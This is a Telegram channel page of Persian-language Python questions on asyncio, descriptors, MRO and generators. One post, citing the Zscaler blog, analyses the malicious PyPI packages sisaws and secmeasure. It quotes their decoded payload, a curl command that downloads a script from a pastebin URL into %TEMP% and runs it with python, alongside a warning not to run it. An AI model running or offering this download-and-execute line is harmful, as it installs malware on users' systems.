Code Verse
159 subscribers
84 photos
29 files
4 links
Download Telegram
‏5. چگونه یک coroutine را در asyncio به صورت امن لغو کنیم بدون اینکه exception نشت کند؟

#question #python

🌌 @the_code_Verse 🪐
1👎1
‏6. یک descriptor بساز که مقدار attribute را ذخیره کند، اما اگر مقدار تکراری وارد شود، خطا بدهد و cache هر instance را جدا نگه دارد.

#question #python

🌌 @the_code_Verse 🪐
👍2👎1
دوتا کتابخونه sisaws و secmeasure که هکر‌ها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI

یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد

If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.

curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py

نکته:‌به هیچ‌وجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.

کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.

#python #malware #code_analysis

🌌 @the_code_Verse 🪐
4
‏7. چگونه می‌توان یک ماژول را طوری import کرد که قبل از دسترسی به آن، یک attribute اضافه شود؟

#question #python

🌌 @the_code_Verse 🪐
3👍1👎1
‏8. چگونه Method Resolution Order (MRO) در چند ارث‌بری پیچیده محاسبه می‌شود؟ یک مثال با ۳ کلاس بده که super() غیرمنتظره عمل کند.

#question #python

🌌 @the_code_Verse 🪐
2👎1
‏9. یک generator بساز که مقدار بگیرد (send) و وقتی عدد منفی فرستاده شد، exception پرتاب کند و ادامه دهد.

#question #python

🌌 @the_code_Verse 🪐
4👎1
‏10. چرا نمی‌توان یک dictionary را مستقیماً به تابعی که lru_cache@ دارد پاس داد؟ راه حل چیست؟

#question #python

🌌 @the_code_Verse 🪐
👎1🔥1
11. تفاوت دقیق بین new و init در کلاس‌ها چیست؟ چه زمانی فقط new اجرا می‌شود و init نه؟

#question #python

🌌 @the_code_Verse 🪐
👍1👎1